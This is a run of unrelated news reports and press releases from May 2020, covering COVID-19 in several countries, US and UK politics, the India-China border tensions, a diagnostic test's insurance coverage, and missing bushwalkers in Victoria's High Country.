We can be ready for the second wave of the pandemic by ensuring that hospital capacity is sufficient, that personal protective equipment supplies are adequate, the diagnostic testing is readily available, and that health departments have the ability to do contact tracing, Adalja said. Lastly, it is very important that people get their influenza vaccinations so that we can limit the number of people that require hospitalisation for influenza.

For their part, the CIDRAP researchers urged global health authorities to plan for the worst-case scenario over the coming two years, which foresees no vaccine availability or achievement of herd immunity (the situation when a critical number of the population has recovered from an infectious illness, resulting in those people gaining antibodies that will effectively stop the disease from spreading).

They also called on governments to develop strategies on how to reimpose prevention measures to manage outbreaks in real-time and to ensure adequate protection for those on the healthcare front lines.

Risk communication messaging from government officials should incorporate the concept that this pandemic will not be over soon and that people need to be prepared for possible periodic resurgences of disease over the next two years, the report said.
A leading Indian-American global venture capitalist has hosted a virtual fundraiser for former US vice president Joe Biden, who is the presumptive presidential nominee of the opposition Democratic Party.

Deven Parekh, who is the managing director of Insight Partners, was joined by Roger Altman, founder of Evercore, Blair Effron, founder of Centerview Partners, and former ambassador Jane Hartley, in hosting the high-profile fundraiser for Biden for some top 25 Wall Street donors.

With the two key endorsements, decks are now clear for a direct contest between Biden, 77 and the 73-year-old incumbent President Donald Trump, who is seeking re-election in the November 2020 presidential polls.

In his brief five minutes of remarks, Biden focused on how unprepared President Trump was to handle the health and economic consequences brought forth by the coronavirus pandemic.

Acknowledging the anxious times the country is living in, especially New Yorkers, Biden told donors he appreciates how they've stuck with him throughout the pandemic by donating to his campaign and rallied them to continue to do so for the next several months.

"We have less than six months to Election Day. Who's counting as the old saying goes, Biden jokes. Trump has been raising money since the day he got elected in 2016.

Biden then mentioned, as he often does, how the 2020 election has become the most important election in their lifetime, not because he's running, but because the country's character and standing in the world is on the ballot.

He then began to criticise Trump's leadership throughout the pandemic, referencing how if Trump took COVID-19 seriously, less Americans would have died.

Over 5 million people worldwide have been confirmed infected by the virus, and about 330,000 deaths have been recorded. The US is the worst affected country with more than 93,000 deaths and over 1.61 million infections, according to a tally kept by Johns Hopkins University.

"If you saw the Columbia study today, had the president started one week earlier, there may have been 36,000 fewer deaths. This is absolute, absolute malpractice, he said.

Referencing the spiraling economy that could reach Great Depression era levels, Biden acknowledged how the virus was the match that lit the fire, but that its consequences were exacerbated because Trump undermined the core pillars of our economic strength the last three years.

Parekh was a major fundraiser for the former president Barack Obama, during whose administration he served as a board of directors of the Overseas Private Investment Corporation.

Parekh has held a number of roles at Berenson Minella & Company between 1992 and 2000, including Principal and Vice President. Previously, from 1991 to 1992, he was a financial analyst for the Blackstone Group.

As a managing director at Insight Partners, Parekh manages investments in application software, data, and consumer internet businesses globally. He has actively worked with investments in Europe, Israel, China, India, Latin America, and Russia. In India among others he has invested in BharatPe.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Early and appropriate care by a gynecologic oncologist can help increase survival rates in women with ovarian cancer and decrease the number of complications.

Fujirebio Diagnostics, Inc., a consolidated subsidiary of Miraca Holdings, Inc. and an industry leader in cancer biomarker assays, announced today that Cigna has added ROMA (Risk of Ovarian Malignancy Algorithm) to its national preferred coverage list. Cigna Corporation is a global health service company dedicated to improving the health, well-being, and peace of mind of the customers they serve. This decision to add ROMA further demonstrates Cignas focus to help reduce patient health costs and achieve optimal health outcomes.

The ACOG (American College of Obstetricians and Gynecologists) recommendations include ROMA as one of several risk assessment algorithms when referring patients with an adnexal mass. ROMA is a qualitative test that combines the quantitative results of HE4, CA 125 and menopausal status into a numerical score. It can be performed in any laboratory that also provides CA 125 testing services. Each ROMA result automatically includes the individual results of CA 125, HE4 and the ROMA score. ROMA is intended to aid in assessing whether premenopausal or postmenopausal women who present with an ovarian adnexal mass are at high or low likelihood of finding malignancy on surgery. CA 125 is within normal limits in 50% of women with stage 1 disease, is often falsely positive in benign conditions like endometriosis, and is not approved as a risk assessment tool for ovarian masses. ROMA helps to address some of these shortcomings.

With over 21,000 women in the U.S. diagnosed per year with ovarian cancer, we are pleased to see the increase in the number of women who will now have access to ROMA, says Monte Wiltse, CEO/President at Fujirebio Diagnostics, Inc. Early and appropriate care by a gynecologic oncologist can help increase survival rates in women with ovarian cancer and decrease the number of complications.

About Fujirebio Diagnostics, Inc.

Fujirebio Diagnostics, Inc., a subsidiary of Fujirebio Holdings, Inc., is the premier cancer diagnostics company and the industry leader in cancer biomarker assays. The company pioneered and introduced CA 125, the first FDA approved ovarian cancer biomarker, over 25 years ago and introduced HE4 and ROMA for ovarian cancer management in 2008 and 2011, respectively. Fujirebio Diagnostics specializes in the clinical development, manufacturing and commercialization of in vitro diagnostic products for the management of human disease states, with an emphasis in oncology. For more information about Fujirebio Diagnostics, please call +1 610-240-3800 or visit us at http://www.he4test.com.

About Fujirebio

Fujirebio is a global leader in the field of high-quality in vitro diagnostics (IVD) testing. It has more than 50 years accumulated experience in the conception, development, production and worldwide commercialization of robust IVD products. Fujirebio has a strong and long-lasting tradition of collaborating with experts in the worldwide clinical community in the development of high-quality routine and truly novel biomarkers that cover a variety of disease states. Its IVD product lines span the range from specialized manual and automated testing to fully automated routine clinical laboratory testing solutions.

Fujirebio is a wholly-owned subsidiary of Miraca Holdings Inc. (listed on the Tokyo Stock Exchange  TYO: 4544) and employs more than 1,200 people in Asia, Europe and America.
Samantha Akkineni and Naga Chaitanya are one of the most loved celebrity couples. Their mushy social media posts always entertain fans as they keep winning the hearts of their admirers.

Read: Samantha Akkineni, Naga Chaitanya Attend Rana Daggubati and Miheeka Bajaj's Roka Ceremony

Samantha and Naga Chaitanya attended the roka ceremony of Rana Daggubati and Miheeka Bajaj on Thursday. The couple looked beautiful in their respective outfits. While Samantha chose to wear an ethnic yellow coloured salwar kameez for the gathering, Naga Chaitanya complimented his wife in a semi-formal look. He chose to wear a checkered shirt and trousers for the event and looked dashing.

Samantha shared some of their adorable moments from the event on Friday but the actress' enthusiasm was cut down a notch when Naga Chaitanya trolled her over husband appreciation post.

Sharing a picture of Naga Chaitanya on social media from Rana and Miheeka's roka, Samantha wrote, "After sending mommy, aunties, sister, friends, very straight male friends its now Instagrams turn .. 'See eee my husband looks so handsome no ???? (husband is somewhere digging a large pit to jump into right now) (sic)."

Trolling Samantha over her praises for him, Naga Chaitanya wrote in the comments section, "Okay now .. this looks like one of those paid partnership posts."

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Oregon Gov. Kate Brown followed in the steps of President Donald Trump late Thursday and ordered all flags flying at public agencies lowered to honor people who have died amid the coronavirus pandemic.

Browns order to fly flags at half-staff will last until sunset Sunday.

As we begin the process of building a safe and strong Oregon, this weekend is a time to reflect on those we have lost to this global pandemic, Brown said in a written statement.

CORONAVIRUS IN OREGON: Latest news | Live map tracker |Text alerts | Newsletter

State public health officials have said 145 people have died in Oregon from complications of COVID-19, the disease caused by the new coronavirus. Nearly 94,000 people have died nationwide.

"Dan and I send our thoughts to each and every Oregonian family who has been touched by this global pandemic, Brown said in her statement, referencing her husband, Dan Little.

The governors action comes hours after President Donald Trump issued a similar nationwide proclamation to fly the U.S. flag at half-staff.

The move follows a request from Democratic leaders to do so to recognize a "sad day of reckoning when we reach 100,000 deaths."

House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer wrote to Trump that an order to fly the U.S. flag at half-staff would serve as a national expression of grief so needed by everyone in our country.

Trump tweeted Thursday: "I will be lowering the flags on all Federal Buildings and National Monuments to half-staff over the next three days in memory of the Americans we have lost to the CoronaVirus."

He said the flags will continue to be flown at half-staff on Memorial Day in honor of those in the military who died serving their country.

Trump has also proclaimed Memorial Day as a day of prayer for permanent peace, designating the hour starting at 11 a.m. as a time when people might unite in prayer, and asked people to observe a National Moment of Remembrance starting at 3 p.m. that day.

In a second statement Friday, Brown ordered flags throughout Oregon to be flown at half-staff until noon on Memorial Day.

"Memorial Day is a time for us to reflect on the contributions and sacrifices of the people who serve and protect our nation, Brown said in her statement. We remember the fallen. We remember their courage and tenacity. We remember their dedication and determination, their service and sacrifice. Together, we resolve to remember those who have given their lives in the name of peace and freedom. We honor and remember our veterans, fallen heroes, military members, and their families all across Oregon.

The Associated Press contributed to this article.
WASHINGTON, May 22, 2020 /PRNewswire/ -- The WTS International membership voted to approve the International Board Slate in March 2020. The new Board will begin serving at the close of the Annual Business Meeting in May 2020 for a two-year term.

The all-volunteer Board of Directors is the governing body of WTS International. The Board provides strategic direction, sets policy, and provides governance oversight for WTS International. Directors' responsibilities include approving WTS International's strategic plan, approving the budget, and monitoring the organization's finances.

For the past several years, WTS has made great advancements in positioning the organization to be a strong voice in the transportation industry. While known for its excellent local and national programs, hundreds of women have gone through its signature leadership training programs to strengthen the pool of talented leaders in the industry.

Under the leadership of Maggie Walsh, Chair of the International Board and Vice President at HDR, she worked closely with board members to provide oversight and leadership in making strategic hires of WTS Staff, refreshed many of the International-sponsored programs and had the vision to create tools and services to better equip local Chapters and Region Councils across North America. Walsh had ambitious goals for the organizationa new member database, brand new website, and a refreshed brand image. With those goals executed, the future is full of potential as she is succeeded by the incoming chair, Paula Hammond, Senior Vice President, National Transportation Market Leader, WSP USA.

"It has been a privilege to have worked with so many passionate and talented people, as Chair," Walsh said. "Through this season of enormous change, the leadership of WTS has demonstrated collaboration, passion, and a forward-thinking mentality at the highest level to ensure our brightest days are ahead of us."

Paula Hammond, Chair-Elect of the International Board, has been a leader in the transportation industry, serving as Secretary of Transportation for the State of Washington, and currently as Senior Vice President, National Transportation Market Leader, WSP USA.

"WTS is well poised through our partnerships, programs, services and strength of our members to support the contributions and advancement of women as we transform in a world facing constant changes The pandemic's impact on work practices and travel patterns call for re-imagining our transportation future. I'm excited to work with our new Board of Directors and Executive Director Sara Stickler and team to support our members and chapters in achieving their goals."

Members of the 2020-2022 Board of Directors

Chair  Paula Hammond, WSP USA

Vice Chair  Jannet Walker Ford, AECOM

Immediate Past Chair  Maggie Walsh, HDR

Secretary  Danielle Smith, TriUnity Inc.

Treasurer  Susan Martinovich, HNTB

Director  Bridgette Beato, Lumenor Consulting Group

Director  Denise Berger, AECOM

Director  Noopur Jain, CAHSR

Director  Katherine Kelleman, Port Authority of Allegheny County

Director  Helen McSwain, Rohadfox Construction

Director  Leanne Redden, Chicago RTA

Director  Mike Sweeney, HNTB

Director - Rebecca Williamson, Jacobs

"The International Board is essential to setting and achieving the strategic vision of the Association and I would like to thank all of our Board Members for using their leadership and skills to further advance that vision," Stickler said. "During my tenure as Executive Director, we have already accomplished so much and with the passion and diversity of thought of the Board, I am excited to create the WTS of the future."

WTS International is dedicated to creating a more diverse, inclusive, and equitable transportation industry through the global advancement of women. WTS: Advancing women; advancing transportation.

SOURCE WTS International
RIO DE JANEIRO - When the coronavirus first came to Brazil and a call went out for volunteers to work the critical care wards, Isabella Rello analyzed the risks. She was 28. She lived alone. She didn't have pre-existing conditions.

So while older physicians stepped back from the front lines of the coronavirus response, Rello stepped up.

Soon Rello, a pediatrician, was treating dozens of coronavirus patients. But they weren't who she'd expected. This patient was only 30 years old. That one was 32. Nearly half the people she was seeing were young, she said, and many were dying. The narrative seared into the global consciousness in the early months of the pandemic - that the virus spared the young and ravaged the elderly - was not what she was watching unfold in Brazil.

The young were at risk. She was at risk.

"One patient was young, apparently healthy," she said. "He was so sick, with so many complications. I thought, 'This could be me. He could be my friend.' The quickness that this kills people, including the young, has been a shock."

As the coronavirus escalates its assault on the developing world, the victim profile is beginning to change. The young are dying of covid-19 at rates unseen in wealthier countries - a development that further illustrates the unpredictable nature of the disease as it pushes into new cultural and geographic landscapes.

In Brazil, 15 percent of deaths have been people under 50 - a rate more than 10 times greater than in Italy or Spain. In Mexico, the trend is even more stark: Nearly one-fourth of the dead have been between 25 and 49. In India, officials reported this month that nearly half of the dead were younger than 60. In Rio de Janeiro state, more than two-thirds of hospitalizations are for people younger than 49.

"This is new terrain compared to what's happened in other countries," said Daniel Soranz, the former municipal health minister in Rio de Janeiro. "Brazil is a very important country to be looking at."

Analysts say the emerging data suggests many of the problems that have long troubled the developing world - intractable poverty, extreme inequality, fragile health systems - are increasing vulnerability to the disease. In countries with more poverty and fewer resources, people who might have survived elsewhere are instead dying.

George Gray Molina, chief economist for the United Nations Development Program, said poverty is triggering "compounding effects." Because population density is so much higher in much of the developing world - and because so many people must keep working to survive - a far greater share of the population ends up being exposed to the virus.

The virus then spreads through a population that's less resilient. People in the developing world grapple not only with the diseases that have long been associated with it - malaria, dengue, tuberculosis, HIV/AIDS - but increasingly with those more closely associated with wealthier countries. Rates of diabetes, obesity and hypertension are surging. But treatment for many such illnesses is lacking.

When newly infected coronavirus patients already weakened by pre-existing conditions seek treatment, they find hospital systems that are overwhelmed and unequipped to handle the deluge of patients.

"It all points to social economic status and poverty," Gray Molina said. The positive benefits associated with the developing world - such as younger populations - are being "wiped out."

"As this plays out," he said, "we will see a balancing of the scales."

- - -

When the coronavirus hit Brazil, it was a disease of the rich. Brought in by travelers to the United States and Europe, the disease circulated primarily among the wealthy and connected. The Brazilian senate leader caught it. So did President Jair Bolsonaro's press secretary. The Rio de Janeiro Country Club along Ipanema beach, one of Brazil's most exclusive clubs, suffered a devastating outbreak.

Domingos Alves, a data scientist with the University of Sao Paulo, has been tracking the virus here since those early weeks. The pattern in Brazil at first mirrored that in the developed world: The dead were almost exclusively elderly. Coronavirus patients were flocking to private hospitals, and anyone who needed a hospital bed received one.

But by early April, as the virus began seeping into the favelas and slums of Sao Paulo and Rio, and the public hospital system started buckling, Alves noticed a sharp shift in the data. Younger people were being hospitalized at higher rates. People younger than 49 were dying. The disease was reaching lower into the demographic pyramid. The victim profile was changing.

"Our country is made up of various smaller countries," Alves said. "When you walk through Rio de Janeiro, you go through places that have the characteristics of Switzerland to places more like the Congo, all in the same city."

Catia Simone de Lima Passos, 48, has lived her entire life in a part of the city no one would confuse for Switzerland. Every day, she and her daughter, Agatha, 25, would ride crowded buses through northern Rio to the medical clinic where they worked in the favela of Mare. Lima said they did everything they could to stay safe. They doused their hands in sanitizer. They wore masks. Her asthmatic daughter stayed home from work for weeks.

But they both got covid-19 and were hospitalized. Lima, after 10 days in the hospital, survived. Her daughter didn't. Now Lima spends her days isolated in her house, alone and unable to grieve with loved ones, trying to understand why a disease that everyone said would kill only the elderly had taken her daughter but spared her.

The unexpected cruelty of it, she said. It's more than she can bear.

"My house is empty," she said. "We were partners in life."

- - -

Bolsonaro, a global leader in minimizing the disease, repeats a mantra: Only the elderly are at risk. So the best policy is to isolate only them. He has called it "vertical isolation."

"What has happened in the world has shown that the people at risk are older than 60," he declared in a national address in late March. "So why close the schools?"

The contradictory messaging in Brazil - between local leaders begging people to stay inside and a president calling people to return to the streets - has fueled widespread confusion. As the disease explodes here, cresting 300,000 cases and 19,000 dead, people are increasingly ignoring isolation guidelines. The beach boardwalks in Rio de Janeiro are packed on weekends. The typical infected person infects nearly three others, according to researchers at Imperial College London, one of the world's highest rates.

Pedro Archer, a physician at a public hospital in Rio, said his young patients have been stunned by their illness. Some had parroted Bolsonaro, who has repeatedly belittled the illness as a "gripezinha" - a little cold. Until they got sick.

"I have people say to me, 'I really had thought this was only a gripezinha, and now I see this is serious,' " Archer said. "I've seen people dying who have said the same thing."

Others keep going out because they must. Government aid - around $105 per month for informal workers - has for many been either blocked by bureaucratic hurdles or woefully insufficient. Buses are still filled with people heading off to work. Lines of people waiting for emergency funds have snaked around banks.

"Young people are dying at a higher rate because they are coming into contact with the virus many times more, because of their working and living conditions," said Ligia Bahia, a public health professor at the Federal University of Rio de Janeiro. "Doormen are still working. Housekeepers are still working. . . . Their viral load, their exposure, is greater."

Marcelo Mitidieri, a 48-year-old father of two, understood the risks but continued working as a driver to support his family. He fell sick in late April. He could scarcely breathe. He had pain in his chest. His daughter took him to a medical clinic in the impoverished Rio neighborhood of Engenho de Dentro, but it had only three respirators and three hospital beds. They had no room for him. So he sat in a broken chair for 24 hours, wheezing, texting his daughter Marcela and waiting.

"They want to bring me into the emergency room," he wrote to his daughter. "But there is no equipment."

"Try to be calm," pleaded Marcela, hopeful his age would save him. "Inhale and exhale. You are strong, and we are together on this."

"I'm very ill," he responded in his last message before his death.

Marcela now seethes. "If he'd gotten better treatment, he would be with me now," she said.

All of it has left Rello, the 28-year-old pediatrician who volunteered to treat coronavirus patients, terrified. But she kept working - until earlier this week, when she started to feel ill.

A dry cough. Sneezing. Body aches. A test soon confirmed her fears: She'd caught the virus. She doesn't know what it will do to her. She's young, but she says she no longer believes that's enough.

She says she thinks of others whom she treated. She knows what they looked like.

"Like me," she said.

- - -

The Washington Post's Marina Lopes in Watercolor, Florida, contributed to this report.
Press Release

May 22, 2020 .3 M private school teachers need help too-Recto Almost one-third of a million teachers in private schools have had their salaries cut off or slashed, as the pandemic has also hit the finances of non-government educational institutions, two Cabinet members told senators yesterday. Upon questioning by Senate President Pro Tempore Ralph Recto, Education secretary Leonor Briones said the income of about 263,000 teachers in private-run elementary and high schools are affected. "These are the small private school teachers, kasi two months silang 'no work, no pay' kaya wala silang earnings," Briones told the Senate's all-member hearing on their government's response to the COVID-19 pandemic. Briones said their preliminary count was 300,000 but brought it down to 263,000 after deducting the number of teachers whose salaries for the whole year have been guaranteed or advanced by their employers. She said 50,000 of these who are in basic education classes are in danger of losing jobs and are in need of government cash relief. "Sa basic education, more than 50,000 ang mawawalan...and we really need help for them dahil sila itong mga nawawalan ng sweldo. Nilakad natin sa Bayanihan (Act), sa SAP (Social Amelioration Program) pero ang SAP is very short of funding," Briones said. She said one conduit of assistance is for government to treat these small schools as distressed MSMEs. For private colleges, CHED chairman Popoy de Vera said 36,000 part-time faculty are affected, joining the 17,000 part-time instructors in state universities and colleges whose salaries have been disrupted. But industry association COCOPEA, in a report to the Senate, estimates that about 77,000 private "higher education institutions" faculty are affected because of the "no work, no pay" rule or the imposition of reduced pay by owners. De Vera said the setting back of the opening of classes from to June to August will have a "financial impact" because tuition fee collection is deferred. "Yung maliliit na private schools na maiksi ang pisi, iyon ang unang tatamaan." Recto said "about 330,000 teachers in private schools will be financially impacted, with either pay cuts or totally losing their pay in the case of those paid per lecture hour." "Mas madami pa sila sa mga UV drivers sa bansa. But their plight is not well publicized. And because of their professional status, they have fallen in the cracks of the government's cash aid program," Recto said. "Theirs is the portrait of the Filipino middle class in this time of crisis," Recto said. Government should come up with ways on how to help them, he said. If earmarked funds for these schools have been impounded, then perhaps a portion of these should be initially released, Recto said. Another means is for distressed schools to be included in Small Business Wage Subsidies (SBWS) program of the government. "Education is one sector which has a large client base, about 34 million - students, teachers, non-academic employees and the auxiliary services like school buses, uniform makers, food, boarding houses, and transportation," he said.
There have been theories including a paid hitman stalking the former governor of Barwon Prison, a couple fabricating their own disappearance and an accidental shooting where the victim was buried. And it is why locals in the area speculate about a regular visitor who disappears into the mountains for months at a time known as Buttons or The Button-Man. He is a flint-hard, expert bushman who earned his nickname from his habit of using deer antlers to make buttons and fashion large plugs for his ear piercings. He has made a camp on the side of a remote mountain that lets him see anyone approaching, uses snares to catch deer and hunts with expertly crafted Indigenous-style spears. Many campers and hunters have stories of the Button-Man emerging from the dark and approaching them at campsites. He is described as around 70, with short grey hair, wearing dark jackets and "bloody scary". Others say he is spooky, but no one reports any threats or violence.

He will grill them on why they are there but rarely responds to questions about himself. They say he moves through the toughest terrain with the competence and stamina of someone half his age. At least eight experienced bushmen have had encounters, with one saying he had a thousand-metre stare that made the hairs on the back of your neck stand up. They say no one knows he is near until he decides to make himself known. A wildlife photographer spent days taking shots in the area near the Button-Mans camp. When he returned home and downloaded his photos to his computer there was one unexplained shot of the photographer asleep inside his tent. No one knows who took the shot. For reasons known only to himself, the Button-Man builds rock pyramids in random spots and places piles of pebbles on roads to know if a car has passed. Bushies who have stooked firewood supplies in hidden crevices have found their stash gone. They say someone must have been watching to know the location.

It is entirely possible people who become lost, disoriented or unwell can die in the cold of the High Country, their bodies never recovered. But when the number of cases grow without any obvious reason in a roughly 60-kilometre radius, there will be talk, even if it is not based on any hard evidence. First, lets look at the cases. Russell Hill, 74, and Carol Clay, 73, disappeared on March 20 from their campsite on Dry River Track, Wonnangatta.

Hill was a former bush logger who knew the area well. Their campsite had been burned out and his specially equipped camper utility was left singed and abandoned. Hills drone is still missing. They had full and happy lives at their respective homes and showed no indication of wanting to disappear. Checks have shown they have not accessed their phones, credit cards or bank accounts. Police believe they are dead but despite repeated searches have found no evidence as to what actually happened. Missing campers Russell Hill and Carol Clay. If they havent engineered their own disappearance and were the victims of an accident, then how did their campsite - set up for comfort with a tent, outdoor shower, fold-up chairs and a table - just happen to catch fire?

What has not been revealed is that Hill was in the area a week before, flying his drone near the Button-Mans campsite. In October last year Niels Becker, 39, an experienced bushwalker, went missing on a five-day hike. He left the Upper Jamieson Hut on October 24 and two days later sent a message to his family from Vallejo Gantner Hut that he was heading to his car at Mount Stirling. Missing: Niels Becker. Credit:Victoria Police The last confirmed sighting was by the Button-Man, who told police he saw the well-equipped hiker in his area. The track took him past the Button-Mans camp. This is hardly surprising as his camp is at a spot known as the Cross-Roads where bushwalkers in the know head because it is one of the few places with good radio reception.

No one really knows why Conrad Whitlock, 72, drove into the High Country in July last year nor why he left his white BMW in darkness on the side of Mount Buller Road along with his jacket, mobile phone and keys. If he had a medical episode (he had been suffering from unexplained headaches) surely he would have finished only metres from the road, or if it was a bizarre suicide then a note for his family would seem likely. One theory is he left his warm car for a toilet stop and decided he didnt need a jacket for such a quick break. Missing: Former Barwon Prison governor David Prideaux. Of all the mysteries, former Barwon Prison governor David Prideaux, 50, is the greatest. I met Dave a couple of times and found him to be smart, energetic and committed. What I didnt know was that he was a passionate bush hunter. On June 5, 2011, he went hunting with his brother-in-law from Tomahawk Hut, Mount Stirling, and has not been seen since. There were many theories, including that he was killed over the murder of drug dealer Carl Williams, who had been ambushed and murdered inside Barwon more than a year earlier. It is nonsense. Urban hitmen wouldnt have a chance of creeping up on an experienced hunter. And most wear slip-on shoes with no socks  hardly appropriate gear for the high country.

There is another case, not quite within the defined area, but close enough to be of interest. Loading Warren Meyer, 57, disappeared from Dom Dom Saddle in March 2008. For Meyer, an experienced bushwalker, the four-hour hike was easy. The weather was fine, he was equipped with a phone, GPS and food and water - yet he was never heard from again. The fact that in these cases phones were not used, GPS not activated, and not even the slightest trail left has led to whispered speculation  speculation that is a long way from evidence. These mysteries have led to talk in the Mansfield area, with many hunters, campers and locals sharing their stories about chance encounters with the Button-Man.

Such as the experienced shooter who woke around 11pm for a night hunt to find Button-Man camped next to him. Some think he sees it as harmless sport to hunt the hunters, proving he can approach the best without them knowing. Police from the Missing Persons Squad have heard these stories too, which is why Search and Rescue Police hiked into a remote area near King Billy Track to buttonhole the Button-Man at his base, perched on a high point in the Alpine National Park. Eventually the man who prefers his own company was up for a chat. Police went there not to accuse him of anything (other than camping illegally) but to seek his help because he knows the area as well as anyone and sometimes sits off hikers, silently watching them pass.
Talks between the Indian and Chinese military to end escalating tensions along their disputed border have ended in a deadlock as the fragile peace shows signs of breaking down.

Border incidents are at their highest since 2015, senior Indian security officials said. The two sides held talks on Tuesday aimed at lowering the temperature between the nuclear-armed neighbors, however neither army was willing to compromise, the officials said, asking not to be identified citing rules on speaking to the media.

The armies are currently on a high-alert at two locations along the Line of Actual Control -- the 3,488 kilometer (2,167 mile) unmarked boundary between India and China. Additional troops have been rushed to the border by both sides, the officials said. They are facing each other at the Galwan River, which was one of the early triggers of the 1962 India-China war, and at the disputed Pangong Tso -- a glacial lake at 14,000 feet in the Tibetan plateau, portions of which are claimed by both.

The inconclusive talks came as the US issued a tough statement on China. In Washington, senior diplomat Alice Wells said the clashes were a reminder that Chinese aggression is not always just rhetorical.

Whether its in the South China Sea or whether its along the border with India, we continue to see provocations and disturbing behaviour by China that raises questions about how China seeks to use its growing power, Wells, acting assistant secretary for South and Central Asia, said on a briefing call to reporters on May 20.

Chinas Ministry of Foreign Affairs was not immediately availabe for comment, however spokesman Zhao Lijian told reporters at a regular briefing in Beijing on May 13: We urge the Indian side to work with China, refrain from taking any complicating moves so as to create enabling conditions for the development of our bilateral relations and peace and stability in border areas.

Any suggestion that Indian troops had undertaken activity across the LAC in the Western Sector or the Sikkim sector is not accurate, Anurag Srivastava, the spokesman for Indias Ministry of External Affairs said in a statement on Thursday. All Indian activities are entirely on the Indian side of the LAC. In fact, it is Chinese side that has recently undertaken activity hindering Indias normal patrolling patterns.

Contentious Road

According to data from Indian security officials, the India-China border has been unusually active since last year with a 64% rise in incidents since 2018. Along the sensitive Eastern Sector -- from Bhutan, stretching east along the Indian state of Arunachal Pradesh -- incidents doubled last year in comparison to 2018. China claims a 2,000-sq km stretch of land in this sector, which is defended by at least 20,000 Indian soldiers along with paramilitary forces.

Border incidents in the Western Sector -- stretching from northwestern Tibet, along the Indian state of Uttarakhand and the Union Territory of Ladakh, stretching to the critical Karakorum Pass -- have witnessed a 75% rise in 2019.

The Indian officials say China is objecting to a road its building at the Pangong Tso that connects to disputed border. On May 5 and 6, troops clashed on the banks of the lake, leaving scores of soldiers on both sides injured. On May 9, several soldiers were injured when the two armies clashed near a three-way junction between Bhutan, China and India, close to the site of the Doklam standoff.

The Indian Army would not comment on the tensions, with spokesman Aman Anand on Thursday referring Bloomberg to a statement issued on May 12 that acknowledged incidents of aggressive behavior along the border.

I take the current border situation very seriously, said Ashok K. Kantha, director of the New Delhi-based Institute of Chinese Studies and a former Indian ambassador to Beijing, adding that he didnt see these as isolated incidents but in conjunction Chinas aggressive behavior in the South China Sea. There is a larger pattern to border incidents.

Informal Summits

There had been a significant dip in tensions in 2018 that followed an informal summit between Indias Prime Minister Narendra Modi and President Xi Jinping in the Chinese city of Wuhan. The meeting between the leaders -- held after stand off of more than 70 days between the two armies on the Doklam peninsula in 2017 -- was followed up with a second summit in Mamallapuram near the southern Indian city of Chennai in October last year.

At that meeting, Xi and Modi agreed to give strategic guidance to their respective armies. That included less aggressive patrols on the border, informing the other side of incoming patrols and more contact between local military commanders to reduce friction.

In a recent interview with Bloomberg, Indias Chief of Defense Staff Bipin Rawat said the strategic guidance was working, but noted a hot-line connecting the top leaders of the two armies that was proposed as far back as 2013 would help reduce tensions. I think the hot-line between the two armies is required, Rawat said. Even though the two countries are in touch through diplomatic channels, he added we would like a military level communication as well.
Bihar reported its eleventh death Friday to coronavirus when a 22-year-old migrant worker from Khagaria died within a few hours after his arrival from Noida, as 118 new cases were reported during the day, pushing the state tally to 2105.

The man was unwell when he came to Bihar by train and died within a few hours after arrival. His sample was taken after death that tested positive for coronavirus, said Bihars health secretary Lokesh Kumar Singh during a media briefing on Friday.

He said the man was taken out from a Shramik Special train by personnel waiting at the station and immediately rushed in an ambulance to a hospital, where he died.

Singh, however, did not mention any detail, like the date of arrival of the deceased or when his sample had tested positive for the virus.

Unlike earlier, the government had not shared any detail about the death of a 55-year-old migrant from Delhi, who died in Begusarai a few days back. Thursdays bulletin on coronavirus, issued by the state health department, only mentioned the casualty figure going up by one, with no elaboration of it.

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Boris Johnson may be forced to give evidence to the London Assembly over his 'intimate' relationship with his alleged 'mistress' Jennifer Arcuri.

The Independent Office for Police Conduct (IOPC) said on Thursday that it would not be launching a probe into the Prime Minister following claims of misconduct in public office, which he denies.

But the review established there was a 'close association' between the pair and there 'may have been an intimate relationship'.

The London Assembly had said it will resume its own investigation into allegations that Ms Arcuri received thousands of pounds in public money and privileged access to three foreign trade trips led by Mr Johnson when he headed City Hall as Mayor.

And on Thursday evening, it emerged that Mr Johnson could face a legal summons to appear in person before the London Assembly's cross-party oversight committee, according to the Daily Mirror.

Political opponents of Mr Johnson 'still has many questions to answer' after the police watchdog opted not to pursue a criminal probe.

Jennifer Arcuri with Boris Johnson on a double-decker bus in 2012, when he was Mayor. The IOPC said on Thursday that it would not be launching a probe into the Prime Minister following claims of misconduct in public office, which he denies

The Prime Minister is reportedly expected to appear later this year in front of the London Assembly.

The body has the power under the Greater London Authority Act to summon anybody who served as London mayor within the previous eight years.

Len Duvall, chair of the London Assembly's scrutiny committee, told the Mirror: 'We will be fully exploring every avenue that we have at our disposal to make sure we get to the bottom of these allegations.

'That means the possibility of summoning not just the Prime Minister, but maybe others too, who may have information that might be helpful to get to the bottom of these matters.'

He added: 'The IOPC was looking specifically at whether he committed a criminal offence. That's not our remit and their decision doesn't have any real bearing on our investigation, which will focus on his conduct as Mayor of London.'

Sources also reportedly told the Mirror that the committee 'fully expected' to summon the PM later this year.

They also said they could ask Ms Arcuri, 35, to give evidence about her relationship with Mr Johnson, but admitted they not have the power to force her to appear.

Siobhan Benita, the Liberal Democrat Candidate for Mayor of London, described the timing of the decision not to pursue a criminal investigation against Mr Johnson as 'outrageous' and urged the Prime Minister to face the London Assembly.

The Prime Minister pictured returning back to Downing Street on Thursday after his morning exercise. The London Assembly said it will resume its own investigation into allegations

Neil Coyle, Labour MP for Bermondsey and Southwark, tweeted following the IOPC's decision

She said: 'It is outrageous that a decision as important as this comes so late, effectively kicked into the long grass during the general election.

'Boris Johnson may not be facing a criminal investigation but he still has many questions to answer.

'The Prime Minister should face the London Assembly so that his conduct can be thoroughly examined. Avoiding scrutiny may be his trademark but it should not be tolerated.'

Neil Coyle, Labour MP for Bermondsey and Southwark, also tweeted: 'Boris Johnson faces an Oversight Committee inquiry to see if his handling of Jennifer Arcuri when Mayor of London breached conduct rules.

'They'll be looking at 'integrity, selflessness, openness and honesty' in his conduct. Anyone else suspect they won't find any?'

Neither the PM nor Ms Arcuri have denied that they were involved in an affair.

IOPC Director General Michael Lockwood said: 'While there was no evidence that Mr Johnson influenced the payment of sponsorship monies or participation in trade missions, there was evidence to suggest that those officers making decisions about sponsorship monies and attendance on trade missions thought that there was a close relationship between Mr Johnson and Ms Arcuri, and this influenced their decision-making.'

The allegations were referred to the IOPC in September because the watchdog has a remit over the City Hall role, as head of the mayor's office for policing and crime.

The allegations were referred to the IOPC in September because the watchdog has a remit over the City Hall role (pictured: Boris Johnson and Jennifer Arcuri in 2014)

